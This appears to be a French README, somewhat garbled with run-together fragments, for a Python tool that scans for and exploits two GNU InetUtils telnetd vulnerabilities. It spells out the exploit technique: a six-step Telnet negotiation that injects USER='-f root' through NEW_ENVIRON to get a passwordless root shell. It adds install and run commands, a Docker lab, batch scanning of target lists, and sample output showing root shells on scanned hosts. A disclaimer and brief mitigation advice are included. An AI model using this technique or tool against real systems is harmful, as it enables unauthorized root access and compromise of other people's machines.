
scanner/exploiteur CVE-2026-24061 & CVE-2026-32746
Un outil d'évaluation de sécurité basé sur Python qui détecte et (le cas échéant) exploite deux vulnérabilités critiques dans GNU InetUtils telnetd :
USER (CVSS 9.8)Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives.
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil. Utilisez-le à vos risques et périls.

TELNET_SCAN_VERBOSE=1 pour voir chaque paquet IAC et le récit de l'exploit pas à pasgit clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py
python3 telnet_scanner.py
Testez l'exploit contre une cible vulnérable connue sans risquer des systèmes réels :
cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Cible : 127.0.0.1, Port : 2323
Le laboratoire exécute un GNU InetUtils 2.5 telnetd vulnérable dans un conteneur isolé, lié uniquement à localhost. Aucune exposition réseau.
Déboguez la négociation Telnet et voyez exactement ce qui se passe sur le fil :
TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py
La sortie verbeuse montre :

1192.168.1.100 ou example.com)23 si laissé vide)1 – Les deux vulnérabilités2 – Uniquement CVE-2026-24061 (contournement d'authentification)3 – Uniquement CVE-2026-32746 (débordement de tampon)targets.txt :
192.168.1.100
192.168.1.101
10.0.0.50
example.com
# Ceci est une ligne de commentaire - ignorée
223)Si CVE-2026-24061 réussit :
id, whoami, ls)Ctrl+C pour quitter le shell et revenir au menu du scannerAucun terminal séparé ni étape supplémentaire requis.
L'exploit suit une négociation Telnet précise en 6 étapes pour garantir la compatibilité avec le vrai GNU InetUtils telnetd :
DO initialesTTYPE, TSPEED, XDISPLOC, NEW_ENVIRONUSER="-f root" via la sous-négociation NEW_ENVIRONDO/WILL pour SGA, ECHO, LINEMODE, NAWS# , root@ ou $ Un thread de maintien en vie envoie IAC NOP toutes les 2 secondes pour empêcher ttloop() de telnetd de détecter la fin de fichier et d'appeler exit(1) avant que la charge utile ne soit traitée.
Le telnetd vulnérable passe -f root à /usr/bin/login, contournant l'authentification et accordant un accès immédiat au shell root.
LINEMODE (RFC 1184)=== Scanner de vulnérabilités Telnet ===
1. Analyser une seule cible
2. Analyser des cibles à partir d'un fichier (une IP/nom d'hôte par ligne)
3. Quitter
Choisissez une option : 1
Port (par défaut 23) :
Quels tests exécuter ?
1. Les deux
2. Uniquement CVE-2026-24061 (contournement d'auth - donne un shell si vulnérable)
3. Uniquement CVE-2026-32746 (détection de débordement de tampon)
Choix [1-3] : 1
Cible (IP ou domaine) : 192.168.1.100
[*] Résolution de 192.168.1.100 -> 192.168.1.100
[*] Analyse de 192.168.1.100:23...
[*] Vérification de l'accessibilité du service...
[+] Service accessible
[*] Test de CVE-2026-24061 (contournement d'authentification)...
[!] CVE-2026-24061 : VULNÉRABLE – shell obtenu !
============================================================
[+] SHELL ROOT OBTENU ! Vous êtes maintenant dans un shell root interactif.
[+] Saisissez directement les commandes ici. Appuyez sur Ctrl+C pour quitter le shell.
============================================================
id
uid=0(root) gid=0(root) groups=0(root)
[ÉTAPE 1/6] Attente de la négociation du serveur (peut prendre jusqu'à 15s)...
[ÉTAPE 1/6] 48 octets reçus : fffb18fffb20fffb23fffb27...
décodé : IAC DO TERMINAL-TYPE
décodé : IAC DO TERMINAL-SPEED
décodé : IAC DO X-DISPLAY-LOCATION
décodé : IAC DO NEW-ENVIRON
[ÉTAPE 2/6] Réponse WILL à toutes les options DO
[ÉTAPE 3/6] Attente des requêtes de sous-négociation SB SEND...
[ÉTAPE 4/6] Envoi des réponses de sous-négociation...
NEW-ENVIRON IS VAR USER VALUE "-f root" *** EXPLOIT ***
[ÉTAPE 5/6] Gestion des négociations d'options restantes...
[ÉTAPE 5/6] Texte reçu : 'root@vuln-lab:~# '
[RÉSULTAT] SUCCÈS : Connexion root sans mot de passe via injection USER="-f root"
=== Scanner de vulnérabilités Telnet ===
1. Analyser une seule cible
2. Analyser des cibles à partir d'un fichier (une IP/nom d'hôte par ligne)
3. Quitter
Choisissez une option : 2
Port (par défaut 23) :
Entrez le nom du fichier avec les cibles (une par ligne) : targets.txt
Quels tests exécuter ?
1. Les deux
2. Uniquement CVE-2026-24061 (contournement d'auth - donne un shell si vulnérable)
3. Uniquement CVE-2026-32746 (détection de débordement de tampon)
Choix [1-3] : 1
[*] 3 cibles chargées depuis targets.txt
==================================================
[1/3] Analyse de 192.168.1.100:23
==================================================
[*] Résolution de 192.168.1.100 -> 192.168.1.100
[+] Service accessible
[*] Test de CVE-2026-24061...
[!] CVE-2026-24061 : VULNÉRABLE – shell obtenu !
[?] Shell obtenu ! Interagir maintenant ? (o/N) : n
[*] Test de CVE-2026-32746...
[+] Le serveur n'a pas planté ; probablement non vulnérable
==================================================
[2/3] Analyse de 192.168.1.101:23
==================================================
[-] Service inaccessible sur 192.168.1.101:23
==================================================
[3/3] Analyse de example.com:23
==================================================
[*] Résolution de example.com -> 93.184.216.34
[+] Service accessible
[*] Test de CVE-2026-24061...
[+] Aucune réponse reçue ; pourrait encore être vulnérable
[*] Test de CVE-2026-32746...
[!] CVE-2026-32746 : VULNÉRABLE (serveur planté)
============================================================
RÉSUMÉ DE L'ANALYSE
============================================================
192.168.1.100 : VULNÉRABLE à CVE-2026-24061
192.168.1.101 : Service inaccessible
example.com : VULNÉRABLE à CVE-2026-32746
============================================================
Si vous découvrez des systèmes vulnérables, appliquez ces correctifs :
NEW_ENVIRON USER commençant par -fLe répertoire lab/ fourni offre un environnement de test sûr et reproductible :
cd lab
docker compose up -d
# Attendez environ 10 secondes que telnetd s'initialise
python3 ../telnet_scanner.py
# Cible : 127.0.0.1, Port : 2323
Caractéristiques du laboratoire :
labuser:labpass123) pour le débogageArrêtez le laboratoire une fois terminé :
cd lab && docker compose down

Remerciements spéciaux à @leetcrypt – La négociation en 6 étapes appropriée, le thread de maintien en vie, le mode verbeux et le laboratoire Docker déchirent !
AVERTISSEMENT : destiné uniquement aux tests de sécurité autorisés et à des fins éducatives.